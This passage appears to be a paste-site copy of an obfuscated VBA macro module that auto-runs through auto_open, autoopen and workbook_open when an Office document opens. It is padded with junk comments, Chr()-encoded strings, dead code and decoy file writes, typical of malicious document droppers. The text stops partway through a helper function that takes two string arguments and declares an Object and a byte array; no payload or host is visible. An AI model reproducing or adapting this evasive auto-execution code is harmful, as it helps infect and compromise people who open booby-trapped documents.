Create a new version of paste:

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Sub auto_open()
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo vsfalbmw
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim eixxymsf As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(82) & Chr(90) & Chr(71) & Chr(88) & Chr(80) & Chr(87) & Chr(46) & Chr(70) & Chr(77) & Chr(68) For Binary As 16
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 711568 = 711568 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1795 < 73 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(117) & Chr(121) & Chr(108) & Chr(108) & Chr(111) & Chr(104) & Chr(118) & Chr(121) & Chr(56) & Chr(55))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(99) & Chr(106) & Chr(119) & Chr(97) & Chr(112) & Chr(98) & Chr(103) & Chr(102) & Chr(53) & Chr(49) & Chr(54) & Chr(56)) = Len(Chr(98) & Chr(109) & Chr(99) & Chr(102) & Chr(107) & Chr(118) & Chr(102) & Chr(109)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #16, , eixxymsf
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 443571 = 443571 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 2283 < 49 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(99) & Chr(117) & Chr(113) & Chr(98) & Chr(109) & Chr(97) & Chr(112) & Chr(120) & Chr(50) & Chr(51))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(99) & Chr(115) & Chr(113) & Chr(104) & Chr(103) & Chr(97) & Chr(109) & Chr(119) & Chr(53) & Chr(52) & Chr(53) & Chr(54)) = Len(Chr(108) & Chr(121) & Chr(112) & Chr(119) & Chr(105) & Chr(117) & Chr(105) & Chr(111)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #16
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 542342 = 542342 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 5329 < 28 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(119) & Chr(120) & Chr(99) & Chr(116) & Chr(113) & Chr(114) & Chr(110) & Chr(122) & Chr(54) & Chr(49))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(108) & Chr(106) & Chr(101) & Chr(119) & Chr(122) & Chr(117) & Chr(101) & Chr(101) & Chr(54) & Chr(50) & Chr(54) & Chr(57)) = Len(Chr(109) & Chr(109) & Chr(121) & Chr(105) & Chr(112) & Chr(116) & Chr(97) & Chr(112)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
vsfalbmw:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 778394 = 778394 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 4542 < 63 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(115) & Chr(118) & Chr(102) & Chr(104) & Chr(97) & Chr(102) & Chr(114) & Chr(120) & Chr(53) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(115) & Chr(114) & Chr(100) & Chr(117) & Chr(119) & Chr(102) & Chr(103) & Chr(119) & Chr(55) & Chr(55) & Chr(49) & Chr(53)) = Len(Chr(119) & Chr(107) & Chr(119) & Chr(122) & Chr(107) & Chr(116) & Chr(98) & Chr(119)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
evgvriwbtjr
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End Sub
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Sub autoopen()
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo kwduwurv
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim cjweozwj As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(70) & Chr(76) & Chr(65) & Chr(66) & Chr(81) & Chr(81) & Chr(46) & Chr(70) & Chr(74) & Chr(90) For Binary As 43
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 189973 = 189973 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1796 < 59 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(98) & Chr(119) & Chr(102) & Chr(103) & Chr(116) & Chr(114) & Chr(111) & Chr(121) & Chr(50) & Chr(53))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(112) & Chr(119) & Chr(113) & Chr(103) & Chr(106) & Chr(109) & Chr(100) & Chr(120) & Chr(50) & Chr(54) & Chr(53) & Chr(54)) = Len(Chr(113) & Chr(118) & Chr(103) & Chr(97) & Chr(98) & Chr(108) & Chr(115) & Chr(101)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #43, , cjweozwj
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 231548 = 231548 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 2857 < 46 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(109) & Chr(114) & Chr(103) & Chr(115) & Chr(108) & Chr(120) & Chr(101) & Chr(100) & Chr(54) & Chr(55))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(110) & Chr(108) & Chr(108) & Chr(112) & Chr(122) & Chr(103) & Chr(118) & Chr(116) & Chr(53) & Chr(49) & Chr(50) & Chr(49)) = Len(Chr(111) & Chr(105) & Chr(110) & Chr(121) & Chr(98) & Chr(121) & Chr(112) & Chr(114)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #43
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 238386 = 238386 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 6983 < 25 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(116) & Chr(102) & Chr(111) & Chr(105) & Chr(102) & Chr(113) & Chr(107) & Chr(116) & Chr(51) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(120) & Chr(118) & Chr(112) & Chr(104) & Chr(103) & Chr(109) & Chr(117) & Chr(102) & Chr(55) & Chr(55) & Chr(51) & Chr(52)) = Len(Chr(99) & Chr(122) & Chr(102) & Chr(101) & Chr(118) & Chr(107) & Chr(121) & Chr(109)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
kwduwurv:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 826517 = 826517 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 8797 < 15 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(101) & Chr(118) & Chr(103) & Chr(111) & Chr(101) & Chr(103) & Chr(100) & Chr(119) & Chr(51) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(113) & Chr(102) & Chr(108) & Chr(105) & Chr(115) & Chr(117) & Chr(105) & Chr(100) & Chr(51) & Chr(57) & Chr(54) & Chr(49)) = Len(Chr(108) & Chr(122) & Chr(110) & Chr(101) & Chr(111) & Chr(118) & Chr(108) & Chr(115)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    auto_open
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End Sub
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Sub workbook_open()
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo jaduxocm
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim xxmeoehs As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(87) & Chr(85) & Chr(76) & Chr(85) & Chr(68) & Chr(84) & Chr(46) & Chr(82) & Chr(66) & Chr(74) For Binary As 67
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 861474 = 861474 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 4727 < 88 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(113) & Chr(105) & Chr(109) & Chr(115) & Chr(103) & Chr(99) & Chr(116) & Chr(113) & Chr(57) & Chr(51))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(103) & Chr(102) & Chr(116) & Chr(111) & Chr(109) & Chr(108) & Chr(107) & Chr(116) & Chr(53) & Chr(54) & Chr(55) & Chr(55)) = Len(Chr(101) & Chr(120) & Chr(98) & Chr(121) & Chr(118) & Chr(116) & Chr(108) & Chr(110)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #67, , xxmeoehs
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 892816 = 892816 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 5877 < 75 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(107) & Chr(115) & Chr(116) & Chr(109) & Chr(109) & Chr(106) & Chr(101) & Chr(117) & Chr(54) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(108) & Chr(106) & Chr(116) & Chr(113) & Chr(102) & Chr(104) & Chr(100) & Chr(121) & Chr(56) & Chr(49) & Chr(52) & Chr(49)) = Len(Chr(97) & Chr(116) & Chr(100) & Chr(121) & Chr(113) & Chr(105) & Chr(99) & Chr(121)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #67
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 692157 = 692157 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 6827 < 24 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(98) & Chr(98) & Chr(118) & Chr(99) & Chr(107) & Chr(113) & Chr(117) & Chr(117) & Chr(55) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(99) & Chr(108) & Chr(116) & Chr(100) & Chr(117) & Chr(102) & Chr(105) & Chr(111) & Chr(57) & Chr(49) & Chr(56) & Chr(50)) = Len(Chr(118) & Chr(118) & Chr(117) & Chr(110) & Chr(104) & Chr(115) & Chr(117) & Chr(103)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
jaduxocm:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 587851 = 587851 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 9314 < 21 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(103) & Chr(112) & Chr(118) & Chr(122) & Chr(110) & Chr(99) & Chr(103) & Chr(114) & Chr(57) & Chr(51))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(103) & Chr(104) & Chr(99) & Chr(108) & Chr(108) & Chr(99) & Chr(98) & Chr(101) & Chr(51) & Chr(53) & Chr(55) & Chr(55)) = Len(Chr(99) & Chr(114) & Chr(114) & Chr(102) & Chr(106) & Chr(103) & Chr(112) & Chr(122)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    auto_open
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End Sub
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Function trzfcrwihtc(ByVal ejckdfuqggu As String, ByVal kxqaxtgwbnh As String) As Boolean
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
     Dim ocpvmgeelcx As Object, ayemzbpjsak As Long, zgbpbucckrp As Long, wvavhsolbur() As Byte
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo hsgzhsmu
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim oetdulop As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(85) & Chr(83) & Chr(85) & Chr(82) & Chr(80) & Chr(77) & Chr(46) & Chr(85) & Chr(80) & Chr(85) For Binary As 29
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 114274 = 114274 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1948 < 75 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(118) & Chr(122) & Chr(112) & Chr(97) & Chr(104) & Chr(105) & Chr(113) & Chr(115) & Chr(50) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(119) & Chr(99) & Chr(106) & Chr(106) & Chr(117) & Chr(112) & Chr(115) & Chr(100) & Chr(50) & Chr(55) & Chr(57) & Chr(56)) = Len(Chr(118) & Chr(97) & Chr(109) & Chr(114) & Chr(103) & Chr(105) & Chr(115) & Chr(108)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #29, , oetdulop
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 145749 = 145749 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 4412 < 47 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(117) & Chr(116) & Chr(119) & Chr(112) & Chr(119) & Chr(110) & Chr(112) & Chr(111) & Chr(54) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
